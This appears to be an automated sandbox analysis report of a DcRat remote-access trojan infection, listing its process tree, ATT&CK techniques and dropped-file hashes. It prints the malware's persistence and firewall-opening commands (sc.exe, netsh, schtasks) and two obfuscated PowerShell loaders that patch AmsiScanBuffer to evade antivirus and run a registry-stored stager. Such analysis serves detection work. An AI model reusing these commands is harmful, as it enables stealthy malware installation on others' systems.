C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{4e2d4115-921a-4cd0-b3dc-26197fb12f78}
2⤵
PID:12856

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1648

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1956

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2644

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788

C:\Users\Admin\AppData\Local\Temp\ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
"C:\Users\Admin\AppData\Local\Temp\ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe"
2⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4800

C:\Users\Admin\AppData\Local\Temp\347D.exe
C:\Users\Admin\AppData\Local\Temp\347D.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:952

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:88904

C:\Users\Admin\AppData\Local\Temp\39FD.exe
C:\Users\Admin\AppData\Local\Temp\39FD.exe
2⤵
- DcRat
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3500

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oojwlwwj\
3⤵
PID:4920

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\svebdvlo.exe" C:\Windows\SysWOW64\oojwlwwj\
3⤵
PID:3668

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create oojwlwwj binPath= "C:\Windows\SysWOW64\oojwlwwj\svebdvlo.exe /d\"C:\Users\Admin\AppData\Local\Temp\39FD.exe\"" type= own start= auto DisplayName= "wifi support"
3⤵
- Launches sc.exe
PID:4500

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description oojwlwwj "wifi internet conection"
3⤵
- Launches sc.exe
PID:3848

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start oojwlwwj
3⤵
- Launches sc.exe
PID:4492

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
- Modifies Windows Firewall
PID:4000

C:\Users\Admin\fwqqbigz.exe
"C:\Users\Admin\fwqqbigz.exe" /d"C:\Users\Admin\AppData\Local\Temp\39FD.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:600

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wvzxtzar.exe" C:\Windows\SysWOW64\oojwlwwj\
4⤵
PID:5236

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config oojwlwwj binPath= "C:\Windows\SysWOW64\oojwlwwj\wvzxtzar.exe /d\"C:\Users\Admin\fwqqbigz.exe\""
4⤵
- Launches sc.exe
PID:5400

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start oojwlwwj
4⤵
- Launches sc.exe
PID:5544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1702.bat" "
4⤵
PID:5880

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
4⤵
- Modifies Windows Firewall
PID:5752

C:\Users\Admin\AppData\Local\Temp\4170.exe
C:\Users\Admin\AppData\Local\Temp\4170.exe
2⤵
- Executes dropped EXE
PID:37488

C:\Users\Admin\AppData\Local\Temp\5036.exe
C:\Users\Admin\AppData\Local\Temp\5036.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:79128

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:88932

C:\Users\Admin\AppData\Local\Temp\syst.exe
"C:\Users\Admin\AppData\Local\Temp\syst.exe"
3⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:7072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
4⤵
PID:10708

C:\Windows\system32\schtasks.exe
schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
5⤵
- DcRat
- Creates scheduled task(s)
PID:10724

C:\Windows\SysWOW64\$77Install.exe
"C:\Windows\SysWOW64\$77Install.exe"
4⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:10748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 79128 -s 2212
3⤵
- Program crash
PID:7220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7220 -s 1484
4⤵
- Program crash
PID:13016

C:\Users\Admin\AppData\Local\Temp\5807.exe
C:\Users\Admin\AppData\Local\Temp\5807.exe
2⤵
- Executes dropped EXE
PID:88892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5648

C:\Users\Admin\AppData\Local\Temp\7A94.exe
C:\Users\Admin\AppData\Local\Temp\7A94.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2224

C:\Users\Admin\AppData\Local\Temp\7A94.exe
C:\Users\Admin\AppData\Local\Temp\7A94.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5380

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
PID:63476

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
5⤵
- Executes dropped EXE
PID:10316

C:\Users\Admin\AppData\Local\Temp\9E1B.exe
C:\Users\Admin\AppData\Local\Temp\9E1B.exe
2⤵
- Executes dropped EXE
PID:5684

C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"
3⤵
- Executes dropped EXE
PID:62596

C:\Users\Admin\AppData\Roaming\GoogleSetup.exe
"C:\Users\Admin\AppData\Roaming\GoogleSetup.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5884

C:\Users\Admin\AppData\Roaming\Google Update.exe
"C:\Users\Admin\AppData\Roaming\Google Update.exe" -l [email protected]
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:6512

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:5872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5872 -s 748
3⤵
- Program crash
PID:12976

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:6128

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:14104

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:26924

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:48228

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:62836

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:71996

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:84452

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:35260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:3440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4996

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4144

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4144 -s 784
2⤵
- Program crash
PID:12580

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3756

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3756 -s 892
2⤵
- Program crash
PID:12568

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3516

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2884

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2724

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2688

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2544

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2456

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2380

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2364

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2188

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1428

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1968

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1872

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1752

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1296

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:956

C:\Users\Admin\AppData\Roaming\tiaatbd
C:\Users\Admin\AppData\Roaming\tiaatbd
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BmsnDPthQOTp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GgMrAOfuWcCfNR,[Parameter(Position=1)][Type]$lFZeTpZNgI)$SrORZGOwLHE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$SrORZGOwLHE.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$GgMrAOfuWcCfNR).SetImplementationFlags('Runtime,Managed');$SrORZGOwLHE.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$lFZeTpZNgI,$GgMrAOfuWcCfNR).SetImplementationFlags('Runtime,Managed');Write-Output $SrORZGOwLHE.CreateType();}$cXnvhCClFNyWV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$ZOIWyRBomrJBLl=$cXnvhCClFNyWV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sbopwGxJnWVkuJItOPj=BmsnDPthQOTp @([String])([IntPtr]);$artoKiAQLzmhpDqSKIcpGp=BmsnDPthQOTp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fmCMEcipXNy=$cXnvhCClFNyWV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$dpDjKGYFgvmnyw=$ZOIWyRBomrJBLl.Invoke($Null,@([Object]$fmCMEcipXNy,[Object]('Load'+'LibraryA')));$nHmLxmjVdmyWlbcYl=$ZOIWyRBomrJBLl.Invoke($Null,@([Object]$fmCMEcipXNy,[Object]('Vir'+'tual'+'Pro'+'tect')));$bDSmRQR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dpDjKGYFgvmnyw,$sbopwGxJnWVkuJItOPj).Invoke('a'+'m'+'si.dll');$tmeUMjgvGaIxMvHzk=$ZOIWyRBomrJBLl.Invoke($Null,@([Object]$bDSmRQR,[Object]('Ams'+'iSc'+'an'+'Buffer')));$grOrTEsnId=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nHmLxmjVdmyWlbcYl,$artoKiAQLzmhpDqSKIcpGp).Invoke($tmeUMjgvGaIxMvHzk,[uint32]8,4,[ref]$grOrTEsnId);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tmeUMjgvGaIxMvHzk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nHmLxmjVdmyWlbcYl,$artoKiAQLzmhpDqSKIcpGp).Invoke($tmeUMjgvGaIxMvHzk,[uint32]8,0x20,[ref]$grOrTEsnId);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:11044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:UNpABAEpbFYJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$raGGKgvxxzLWtP,[Parameter(Position=1)][Type]$InGrJOJhHG)$CMgXuaEKgVG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$CMgXuaEKgVG.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$raGGKgvxxzLWtP).SetImplementationFlags('Runtime,Managed');$CMgXuaEKgVG.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$InGrJOJhHG,$raGGKgvxxzLWtP).SetImplementationFlags('Runtime,Managed');Write-Output $CMgXuaEKgVG.CreateType();}$RXNiarzOyIQjk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$MVJeDdXgFjaDPI=$RXNiarzOyIQjk.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nQIzZfLOYMzfEYDAihC=UNpABAEpbFYJ @([String])([IntPtr]);$xMuPYiwKcTFcvQUGVnZFGL=UNpABAEpbFYJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mBSVpKlUDPV=$RXNiarzOyIQjk.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$hgrqgnbeIrEgXc=$MVJeDdXgFjaDPI.Invoke($Null,@([Object]$mBSVpKlUDPV,[Object]('Load'+'LibraryA')));$RZvQSOnqiLYguqBnv=$MVJeDdXgFjaDPI.Invoke($Null,@([Object]$mBSVpKlUDPV,[Object]('Vir'+'tual'+'Pro'+'tect')));$SEALFFC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hgrqgnbeIrEgXc,$nQIzZfLOYMzfEYDAihC).Invoke('a'+'m'+'si.dll');$UFQPEGoMoZSJuNodq=$MVJeDdXgFjaDPI.Invoke($Null,@([Object]$SEALFFC,[Object]('Ams'+'iSc'+'an'+'Buffer')));$ntTDifowqh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RZvQSOnqiLYguqBnv,$xMuPYiwKcTFcvQUGVnZFGL).Invoke($UFQPEGoMoZSJuNodq,[uint32]8,4,[ref]$ntTDifowqh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$UFQPEGoMoZSJuNodq,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RZvQSOnqiLYguqBnv,$xMuPYiwKcTFcvQUGVnZFGL).Invoke($UFQPEGoMoZSJuNodq,[uint32]8,0x20,[ref]$ntTDifowqh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:11036

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:11076

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:628

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:516

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1012

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5672

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s PcaSvc
1⤵
PID:62804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Modifies data under HKEY_USERS
PID:7140

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

New Service

T1050

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC689.tmp.csv
Filesize
38KB

MD5
dc17cfd22c50bfa060ccdf65ecc68c01

SHA1
64197c3b0834d8bb63e7ad84f43f226829096465

SHA256
9bd2a33effc81870214fa95fe238f71614243cba7933f405d3410bf1793c833c

SHA512
d295f4678eb92e036a083b889b002bcfee560c61da13ab73fcf5c1d7711b28457d92955b9a57a8d0ba5e33c512108c1a0a8b6c3bdeac0be7f4ab751d1966af2c

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC6B9.tmp.txt
Filesize
12KB

MD5
dbee7bc48e87da2517941116e3f17ff7

SHA1
7eb93646cb91c33e6e92114af2d3c7060921bb91

SHA256
9317d059460b8790f53d41f34983680ef82784c8d9394e4b74c6ed7c9e2ad067

SHA512
b8c2696c8016e8ca6ecd9601276c7df0867fecef296d33063aa718cb161e5d755f335196145062d8448be869698f94ee8047c0bbcda6806812da88c36201374d

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC6BA.tmp.csv
Filesize
38KB

MD5
90bf7ddc409251ff960d7da7be3ecc67

SHA1
63a1320b6b0ba491ee5bb80f51ac9fc0daa02169

SHA256
17c8da7f3e888c8c8b26047a43cde310b9fd84a43402c15ade4b3c8b73b89baf

SHA512
1801aa7a284b35016a2a32bb2304641d9a11da67c7562c48d7612d48d7e74baf69cb2e9620ea8115eb54dc01382bec03fd7eb572aebe6bd29ef39107e0771fa7

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC728.tmp.txt
Filesize
12KB

MD5
8944b3c7898b1763e0ddbc8ed60813ae

SHA1
18f776da11a8864105488689c362242c9f64c65c

SHA256
c9ee74e0c4ceddfb496523b3b971a43dadfd0fe710a411d9b018b9102672bd7d

SHA512
a3200718074380c5bfdcdada9e49915a822c5947702b8f3d83d5c51bf4ccee078e91683eaee3065849d3c28cbd0d1ed68dc74b6cd7be2d3f8455ab05b4d87204

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log
Filesize
2KB

MD5
950a5d28e7306ee449764f305d2b2cbd

SHA1
284712d20f02bf24f1a85accf74579d12f6a8c93

SHA256
53511f86dd7a3c1fa14ecb4c61103ec64488f105adc4c0eb475a1d019967d934

SHA512
078fbc633072edd2b1240ec87ec1adb81e548a80ee695d676b181c25fe0cc9105e7ad3188ebb14918882d30167a14af13c1767564bcda40616222b050bbe201a

Download Submit
C:\Users\Admin\AppData\Local\Temp\1702.bat
Filesize
150B

MD5
e74afcb944e6f3a28fb711481fba79dc

SHA1
df0f11fde017b3232cfd1e4ac6423a5b06e942c1

SHA256
9df8be77d18f5fdf92949c8d1de1c72a89ba1c3ce1addf060dd6704ca5e0a3a7

SHA512
b3200c311c63992061e514697e35157a465efe8e20bc8c7fd04ae53af2d05b68842244dadbeb2ba8b3df0bf283dff7b6514b3dc4cd0d8a2dd65d249918164a05

Download Submit
C:\Users\Admin\AppData\Local\Temp\347D.exe
Filesize
2.6MB

MD5
d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

SHA1
ed7413773b7c9154c9aeed9d173f61577522e0db

SHA256
576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

SHA512
858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\347D.exe
Filesize
2.6MB

MD5
d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

SHA1
ed7413773b7c9154c9aeed9d173f61577522e0db

SHA256
576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

SHA512
858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\39FD.exe
Filesize
170KB

MD5
d80f17936441b4f0cb24509fc8fe36c8

SHA1
617fab7dc8e13dd0fff6f44baf87198fc9e0a9e8

SHA256
cae0fa6100df0f1fc2f40cc3721440c9c19105f402391aa12c1a19cbe681a9b5

SHA512
7e1deee0c1472a83635b85b5ab261b46acf10b34e003bc4c65e48ea7a7af5d90e21be8705a819e820f57fbb4f14cdf65114e7f5fe08fdc753e0cfbb5e50b3d75

Download Submit
C:\Users\Admin\AppData\Local\Temp\39FD.exe
Filesize
170KB

MD5
d80f17936441b4f0cb24509fc8fe36c8

SHA1
617fab7dc8e13dd0fff6f44baf87198fc9e0a9e8

SHA256
cae0fa6100df0f1fc2f40cc3721440c9c19105f402391aa12c1a19cbe681a9b5

SHA512
7e1deee0c1472a83635b85b5ab261b46acf10b34e003bc4c65e48ea7a7af5d90e21be8705a819e820f57fbb4f14cdf65114e7f5fe08fdc753e0cfbb5e50b3d75

Download Submit
C:\Users\Admin\AppData\Local\Temp\4170.exe
Filesize
395KB

MD5
a864c7dcd49506486eb4a15632a34c03

SHA1
6f247530bd632cb53cdc0b7a8c466e2144c16d84

SHA256
dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

SHA512
71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\4170.exe
Filesize
395KB

MD5
a864c7dcd49506486eb4a15632a34c03

SHA1
6f247530bd632cb53cdc0b7a8c466e2144c16d84

SHA256
dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

SHA512
71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\5036.exe
Filesize
473KB

MD5
46ef7abbf7ea6449a89f89e996d6d1b8

SHA1
6fb6f9fc4d20ee1d7347c8f525ee398f2f8dbb7d

SHA256
4651c0d6a9e99dc06b67f48c65ed29df256b5729e5fe05823ee5f1d3049897ad

SHA512
bb12b5af547726c1e63f54f58138ad4e8285aaf2093d7552a49bf799da7faab1a0df48c53fb6eeaeb03697bee6b00f99d643ddc73ee2fec69663730ed6fec07c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5036.exe
Filesize
473KB

MD5
46ef7abbf7ea6449a89f89e996d6d1b8

SHA1
6fb6f9fc4d20ee1d7347c8f525ee398f2f8dbb7d

SHA256
4651c0d6a9e99dc06b67f48c65ed29df256b5729e5fe05823ee5f1d3049897ad

SHA512
bb12b5af547726c1e63f54f58138ad4e8285aaf2093d7552a49bf799da7faab1a0df48c53fb6eeaeb03697bee6b00f99d643ddc73ee2fec69663730ed6fec07c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5807.exe
Filesize
1.1MB

MD5
